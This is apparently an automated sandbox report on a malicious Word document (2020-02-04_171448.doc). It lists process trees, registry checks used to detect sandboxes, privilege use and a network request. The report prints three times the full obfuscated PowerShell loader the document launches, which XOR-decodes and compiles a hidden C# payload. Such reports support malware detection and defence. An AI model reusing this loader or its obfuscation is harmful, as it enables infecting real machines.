ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
142s
max time network
158s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-02-04_171448.doc
Size

314KB
MD5

4d27710e4a1152ddb7e8230f725aea31
SHA1

06ad9076085cfc97415284926c3c12aa5d758e1d
SHA256

2726b4c41af288b8403007f60f94473841742ff9e49690501b68e946c7f64913
SHA512

9928ccb1feb09b6603e4feef560f8cf13b8f882721befdf3da1f8292d80146c97caa577a095a316b89f1da1b70f1761bd9a30def9d32d3f497bb00e85c2c2016

Score

10^/10

Malware Config

Signatures

Suspicious use of SetWindowsHookEx 23 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEexcelcnv.exe

pid	process
3872	WINWORD.EXE
3872	WINWORD.EXE
3872	WINWORD.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
1064	excelcnv.exe
3872	WINWORD.EXE
3872	WINWORD.EXE
3872	WINWORD.EXE
3872	WINWORD.EXE
3872	WINWORD.EXE
3872	WINWORD.EXE
3872	WINWORD.EXE

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2904	396	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3576	2936	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3604	808	powershell.exe	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exepowershell.exepowershell.execsc.execsc.execsc.exe

description	pid	process	target process
PID 396 wrote to memory of 2904	396	EXCEL.EXE	powershell.exe
PID 396 wrote to memory of 2904	396	EXCEL.EXE	powershell.exe
PID 2936 wrote to memory of 3576	2936	EXCEL.EXE	powershell.exe
PID 2936 wrote to memory of 3576	2936	EXCEL.EXE	powershell.exe
PID 808 wrote to memory of 3604	808	EXCEL.EXE	powershell.exe
PID 808 wrote to memory of 3604	808	EXCEL.EXE	powershell.exe
PID 3576 wrote to memory of 2016	3576	powershell.exe	csc.exe
PID 3576 wrote to memory of 2016	3576	powershell.exe	csc.exe
PID 2904 wrote to memory of 3808	2904	powershell.exe	csc.exe
PID 2904 wrote to memory of 3808	2904	powershell.exe	csc.exe
PID 3604 wrote to memory of 724	3604	powershell.exe	csc.exe
PID 3604 wrote to memory of 724	3604	powershell.exe	csc.exe
PID 724 wrote to memory of 1168	724	csc.exe	cvtres.exe
PID 2016 wrote to memory of 612	2016	csc.exe	cvtres.exe
PID 724 wrote to memory of 1168	724	csc.exe	cvtres.exe
PID 2016 wrote to memory of 612	2016	csc.exe	cvtres.exe
PID 3808 wrote to memory of 3680	3808	csc.exe	cvtres.exe
PID 3808 wrote to memory of 3680	3808	csc.exe	cvtres.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3872 WINWORD.EXE
3872 WINWORD.EXE

Enumerates system info in registry 2 TTPs 15 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEEXCEL.EXEexcelcnv.exeWINWORD.EXEEXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3872 WINWORD.EXE
3872 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3576 powershell.exe
Token: SeDebugPrivilege 2904 powershell.exe
Token: SeDebugPrivilege 3604 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	3604	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2904	powershell.exe
3576	powershell.exe
3604	powershell.exe
3604	powershell.exe
2904	powershell.exe
3576	powershell.exe
3604	powershell.exe
2904	powershell.exe
3576	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 3604 powershell.exe

flow	pid	process
33	3604	powershell.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEEXCEL.EXEexcelcnv.exeWINWORD.EXEEXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	excelcnv.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-04_171448.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3872

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
PID:396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function kfcdec6 {param($qff4d38)$e41b4='ob2627';$paddd='';for ($i=0; $i -lt $qff4d38.length;$i+=2){$ff878=[convert]::ToByte($qff4d38.Substring($i,2),16);$paddd+=[char]($ff878 -bxor $e41b4[($i/2)%$e41b4.length]);}return $paddd;} $nfec9 = '1a115b5855173c1b4142575a5417415f5c504f314b454652024c60435c43060f57187b591b07405942640a10445f51521c5947455b590842614f41430a0f1c725b56080c5d45465e0c110943415e010512654b441b075f187b785417415f5c504f314b454652024c7c53460c62684243505b060112555e561c11125d060359560650496c2b0e5e7f5f470010461e105c0a105c535e045d401e735c431d1b62595b591b5f107157433f105d5573530b1057454115463f12464755030b511641430e165b551252171657445c17260c466646454f110a020b5157531a7f5c433f1640165155565a071a41431d0b5c5112470e0153011b0c34265e5a7b5a1f0d40421a1504074058575b5c50101a12720116404f6258060c46160f174d2e5d57567b06004057404e4d4b6f1642420d0e5b5512441b03465f51170a1a465340594f2b5c4262431d42485304550d4a4142405e010512410a565b061b0d6973030e7b5b42581d161a1459521d0c575a01054d4e12735c431d1b62595b591b5f10605b451b17535a6245001657554615463f12464755030b511641430e165b551252171657445c170d0d5d5a12460b5a50040a1f260c466646454f0a560706035a511e637b591b32464412590a560505040e4342475f5c434f1a500f56000a4e125947434f175b58461719010453501e5439765a5e7e02125d44461f4d2957445c5203510018565b03401e1677591b104b665d5e01160f146043032f5d40577a0a0f5d444b1543426153467b0e114673404500100f50535b1c071b6b12441b03465f51170a1a465340594f145d5f56170a0157000a03094a7b5846671b101259050e5a031e7f5c433f1640164a035e50561a5b591b42580304060a4b09464755030b511641430e165b55125e0116125100535a511a1f497e0116624240170753570554175242485304550d4a595051530a01041e10070a52540203020953510301075c5257141b1e540b541e5a060a51540b0f7e011662424019350740591b4c080d4659124d0c5a5401560f541f7b5846671b10124f5004565304020f4457560b500a06470a035301514309545556520c541a1400525f04060707515953070202525f01050606045a56070702565e52101f1b0c06041a4f5004565304020f0a260c46664645413857445d1e14055d425d1715010a50055357594f637b591b324644125b5606540e0f1f3a2b5c4262431d4b070d475e0116124303035d040f06095e094a1347560f0d500a1e4b555c5b0300061b035b56500a1b5f1a06061e581a16124303035d041b1f495000165d164854570405520a0c12204b42576c32424103060e5b5a540b49071751031a024f09041e064a0e5f1f097f5c433f1640165f065e5b0507060a220340455a56034c735a5e580c2a755a5d550e0e1a051b0c220340455a56034c7159424e471107020b0357041e061e5a5e530b01030343511b0d57540a540a02541f010745167b591b3246441a4e0d510b07040341365d7f5c4359561a1f190717520207501e430f03070b005e561e051b0c15010a5005535758126157552c0e5b535c434f165603570e5b5f5c534517380750755e5e0a0c461e1b0c1c16405f5c504f0757030a5252275c405b45000c5f535c434125574274580306574462561b0a1a735c4106105d585f5201161c6542520c0b535a7458030657441c761f125e5f51561b0b5d5876561b031b1d106b33080a5554050d00101d59510c065755041f4d56030605030e5701141b0c1b0607530b0341265d415c5b000356705b5b0a4a595051530a01041e100758530402040359520a070a035f57010600075e5351060402585750075107585200070b020a57050600065656050357035f57070607070a52000605020c57050751020c5600030215464e5753070f0a4b096640580c07414561430e10467f5c510042540f57520e5f5c5345173f105d5557441c3146574043260c54591a520a570a531b0c3f105d5557441c4c614253451b4a540f57520e4b094457431a105c16020c121247545e5e0c4241425343060112454645060c551659510c065755041f1c16405f5c504f01050056565b4b49454645060c55165155565a070b10580d5004040515541146445b590842485304550d5f6142405e01051c735f471b1b09505d45470b5c42125e5252095f0e5458545657061923075c51465f540b190b001e14004b4257171c5a060f540f5e5f71595c410a10461866582d1b46531a545854565706193c1750454645060c551e5b1b5d4b1e07041e541857005055445f1a555a561d4b1a450a0356040a0712694f01500f0a02344a5b19001e4f471255500e57571c7a575908165a6b1b0c1210574247450142485304550d594f4b'; $nfec92 = kfcdec6($nfec9); Add-Type -TypeDefinition $nfec92; [k44644f]::g2d53();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2904

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\d3145ozo\d3145ozo.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3808

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDAAB.tmp" "c:\Users\Admin\AppData\Local\Temp\d3145ozo\CSCDB94CAC2A7F44DD1891344616432018.TMP"
4⤵
PID:3680

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
PID:2936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function kfcdec6 {param($qff4d38)$e41b4='ob2627';$paddd='';for ($i=0; $i -lt $qff4d38.length;$i+=2){$ff878=[convert]::ToByte($qff4d38.Substring($i,2),16);$paddd+=[char]($ff878 -bxor $e41b4[($i/2)%$e41b4.length]);}return $paddd;} $nfec9 = '1a115b5855173c1b4142575a5417415f5c504f314b454652024c60435c43060f57187b591b07405942640a10445f51521c5947455b590842614f41430a0f1c725b56080c5d45465e0c110943415e010512654b441b075f187b785417415f5c504f314b454652024c7c53460c62684243505b060112555e561c11125d060359560650496c2b0e5e7f5f470010461e105c0a105c535e045d401e735c431d1b62595b591b5f107157433f105d5573530b1057454115463f12464755030b511641430e165b551252171657445c17260c466646454f110a020b5157531a7f5c433f1640165155565a071a41431d0b5c5112470e0153011b0c34265e5a7b5a1f0d40421a1504074058575b5c50101a12720116404f6258060c46160f174d2e5d57567b06004057404e4d4b6f1642420d0e5b5512441b03465f51170a1a465340594f2b5c4262431d42485304550d4a4142405e010512410a565b061b0d6973030e7b5b42581d161a1459521d0c575a01054d4e12735c431d1b62595b591b5f10605b451b17535a6245001657554615463f12464755030b511641430e165b551252171657445c170d0d5d5a12460b5a50040a1f260c466646454f0a560706035a511e637b591b32464412590a560505040e4342475f5c434f1a500f56000a4e125947434f175b58461719010453501e5439765a5e7e02125d44461f4d2957445c5203510018565b03401e1677591b104b665d5e01160f146043032f5d40577a0a0f5d444b1543426153467b0e114673404500100f50535b1c071b6b12441b03465f51170a1a465340594f145d5f56170a0157000a03094a7b5846671b101259050e5a031e7f5c433f1640164a035e50561a5b591b42580304060a4b09464755030b511641430e165b55125e0116125100535a511a1f497e0116624240170753570554175242485304550d4a595051530a01041e10070a52540203020953510301075c5257141b1e540b541e5a060a51540b0f7e011662424019350740591b4c080d4659124d0c5a5401560f541f7b5846671b10124f5004565304020f4457560b500a06470a035301514309545556520c541a1400525f04060707515953070202525f01050606045a56070702565e52101f1b0c06041a4f5004565304020f0a260c46664645413857445d1e14055d425d1715010a50055357594f637b591b324644125b5606540e0f1f3a2b5c4262431d4b070d475e0116124303035d040f06095e094a1347560f0d500a1e4b555c5b0300061b035b56500a1b5f1a06061e581a16124303035d041b1f495000165d164854570405520a0c12204b42576c32424103060e5b5a540b49071751031a024f09041e064a0e5f1f097f5c433f1640165f065e5b0507060a220340455a56034c735a5e580c2a755a5d550e0e1a051b0c220340455a56034c7159424e471107020b0357041e061e5a5e530b01030343511b0d57540a540a02541f010745167b591b3246441a4e0d510b07040341365d7f5c4359561a1f190717520207501e430f03070b005e561e051b0c15010a5005535758126157552c0e5b535c434f165603570e5b5f5c534517380750755e5e0a0c461e1b0c1c16405f5c504f0757030a5252275c405b45000c5f535c434125574274580306574462561b0a1a735c4106105d585f5201161c6542520c0b535a7458030657441c761f125e5f51561b0b5d5876561b031b1d106b33080a5554050d00101d59510c065755041f4d56030605030e5701141b0c1b0607530b0341265d415c5b000356705b5b0a4a595051530a01041e100758530402040359520a070a035f57010600075e5351060402585750075107585200070b020a57050600065656050357035f57070607070a52000605020c57050751020c5600030215464e5753070f0a4b096640580c07414561430e10467f5c510042540f57520e5f5c5345173f105d5557441c3146574043260c54591a520a570a531b0c3f105d5557441c4c614253451b4a540f57520e4b094457431a105c16020c121247545e5e0c4241425343060112454645060c551659510c065755041f1c16405f5c504f01050056565b4b49454645060c55165155565a070b10580d5004040515541146445b590842485304550d5f6142405e01051c735f471b1b09505d45470b5c42125e5252095f0e5458545657061923075c51465f540b190b001e14004b4257171c5a060f540f5e5f71595c410a10461866582d1b46531a545854565706193c1750454645060c551e5b1b5d4b1e07041e541857005055445f1a555a561d4b1a450a0356040a0712694f01500f0a02344a5b19001e4f471255500e57571c7a575908165a6b1b0c1210574247450142485304550d594f4b'; $nfec92 = kfcdec6($nfec9); Add-Type -TypeDefinition $nfec92; [k44644f]::g2d53();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3576

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cq4qaslr\cq4qaslr.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDAAC.tmp" "c:\Users\Admin\AppData\Local\Temp\cq4qaslr\CSCF41945C2599642FE9CC0A43892DD8190.TMP"
4⤵
PID:612

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
PID:808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function kfcdec6 {param($qff4d38)$e41b4='ob2627';$paddd='';for ($i=0; $i -lt $qff4d38.length;$i+=2){$ff878=[convert]::ToByte($qff4d38.Substring($i,2),16);$paddd+=[char]($ff878 -bxor $e41b4[($i/2)%$e41b4.length]);}return $paddd;} $nfec9 = '1a115b5855173c1b4142575a5417415f5c504f314b454652024c60435c43060f57187b591b07405942640a10445f51521c5947455b590842614f41430a0f1c725b56080c5d45465e0c110943415e010512654b441b075f187b785417415f5c504f314b454652024c7c53460c62684243505b060112555e561c11125d060359560650496c2b0e5e7f5f470010461e105c0a105c535e045d401e735c431d1b62595b591b5f107157433f105d5573530b1057454115463f12464755030b511641430e165b551252171657445c17260c466646454f110a020b5157531a7f5c433f1640165155565a071a41431d0b5c5112470e0153011b0c34265e5a7b5a1f0d40421a1504074058575b5c50101a12720116404f6258060c46160f174d2e5d57567b06004057404e4d4b6f1642420d0e5b5512441b03465f51170a1a465340594f2b5c4262431d42485304550d4a4142405e010512410a565b061b0d6973030e7b5b42581d161a1459521d0c575a01054d4e12735c431d1b62595b591b5f10605b451b17535a6245001657554615463f12464755030b511641430e165b551252171657445c170d0d5d5a12460b5a50040a1f260c466646454f0a560706035a511e637b591b32464412590a560505040e4342475f5c434f1a500f56000a4e125947434f175b58461719010453501e5439765a5e7e02125d44461f4d2957445c5203510018565b03401e1677591b104b665d5e01160f146043032f5d40577a0a0f5d444b1543426153467b0e114673404500100f50535b1c071b6b12441b03465f51170a1a465340594f145d5f56170a0157000a03094a7b5846671b101259050e5a031e7f5c433f1640164a035e50561a5b591b42580304060a4b09464755030b511641430e165b55125e0116125100535a511a1f497e0116624240170753570554175242485304550d4a595051530a01041e10070a52540203020953510301075c5257141b1e540b541e5a060a51540b0f7e011662424019350740591b4c080d4659124d0c5a5401560f541f7b5846671b10124f5004565304020f4457560b500a06470a035301514309545556520c541a1400525f04060707515953070202525f01050606045a56070702565e52101f1b0c06041a4f5004565304020f0a260c46664645413857445d1e14055d425d1715010a50055357594f637b591b324644125b5606540e0f1f3a2b5c4262431d4b070d475e0116124303035d040f06095e094a1347560f0d500a1e4b555c5b0300061b035b56500a1b5f1a06061e581a16124303035d041b1f495000165d164854570405520a0c12204b42576c32424103060e5b5a540b49071751031a024f09041e064a0e5f1f097f5c433f1640165f065e5b0507060a220340455a56034c735a5e580c2a755a5d550e0e1a051b0c220340455a56034c7159424e471107020b0357041e061e5a5e530b01030343511b0d57540a540a02541f010745167b591b3246441a4e0d510b07040341365d7f5c4359561a1f190717520207501e430f03070b005e561e051b0c15010a5005535758126157552c0e5b535c434f165603570e5b5f5c534517380750755e5e0a0c461e1b0c1c16405f5c504f0757030a5252275c405b45000c5f535c434125574274580306574462561b0a1a735c4106105d585f5201161c6542520c0b535a7458030657441c761f125e5f51561b0b5d5876561b031b1d106b33080a5554050d00101d59510c065755041f4d56030605030e5701141b0c1b0607530b0341265d415c5b000356705b5b0a4a595051530a01041e100758530402040359520a070a035f57010600075e5351060402585750075107585200070b020a57050600065656050357035f57070607070a52000605020c57050751020c5600030215464e5753070f0a4b096640580c07414561430e10467f5c510042540f57520e5f5c5345173f105d5557441c3146574043260c54591a520a570a531b0c3f105d5557441c4c614253451b4a540f57520e4b094457431a105c16020c121247545e5e0c4241425343060112454645060c551659510c065755041f1c16405f5c504f01050056565b4b49454645060c55165155565a070b10580d5004040515541146445b590842485304550d5f6142405e01051c735f471b1b09505d45470b5c42125e5252095f0e5458545657061923075c51465f540b190b001e14004b4257171c5a060f540f5e5f71595c410a10461866582d1b46531a545854565706193c1750454645060c551e5b1b5d4b1e07041e541857005055445f1a555a561d4b1a450a0356040a0712694f01500f0a02344a5b19001e4f471255500e57571c7a575908165a6b1b0c1210574247450142485304550d594f4b'; $nfec92 = kfcdec6($nfec9); Add-Type -TypeDefinition $nfec92; [k44644f]::g2d53();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3604

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hthuf2c5\hthuf2c5.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:724

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDAAD.tmp" "c:\Users\Admin\AppData\Local\Temp\hthuf2c5\CSCE772FDA8661E4259BC6357786C527EDA.TMP"
4⤵
PID:1168

C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe
"C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Checks processor information in registry
PID:1064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\804583B2-CA94-4045-8783-19FA40381330

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C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

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C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

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C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\RESDAAB.tmp

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C:\Users\Admin\AppData\Local\Temp\RESDAAC.tmp

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C:\Users\Admin\AppData\Local\Temp\RESDAAD.tmp

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C:\Users\Admin\AppData\Local\Temp\cq4qaslr\cq4qaslr.dll

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C:\Users\Admin\AppData\Local\Temp\d3145ozo\d3145ozo.dll

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C:\Users\Admin\AppData\Local\Temp\hthuf2c5\hthuf2c5.dll

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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\??\c:\Users\Admin\AppData\Local\Temp\cq4qaslr\CSCF41945C2599642FE9CC0A43892DD8190.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\cq4qaslr\cq4qaslr.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\cq4qaslr\cq4qaslr.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\d3145ozo\CSCDB94CAC2A7F44DD1891344616432018.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\d3145ozo\d3145ozo.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\d3145ozo\d3145ozo.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\hthuf2c5\CSCE772FDA8661E4259BC6357786C527EDA.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\hthuf2c5\hthuf2c5.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\hthuf2c5\hthuf2c5.cmdline

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memory/396-1-0x000001D9C9241000-0x000001D9C9244000-memory.dmp

Filesize
12KB

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memory/808-20-0x0000023E43C40000-0x0000023E43C41000-memory.dmp

Filesize
4KB

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memory/2936-9-0x0000025DAD3C0000-0x0000025DAD3C5000-memory.dmp

Filesize
20KB

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memory/2936-8-0x0000025DAD3C0000-0x0000025DAD3C5000-memory.dmp

Filesize
20KB

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memory/2936-6-0x0000025DAD3BF000-0x0000025DAD3C0000-memory.dmp

Filesize
4KB

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memory/2936-7-0x0000025DAD3C0000-0x0000025DAD3C5000-memory.dmp

Filesize
20KB

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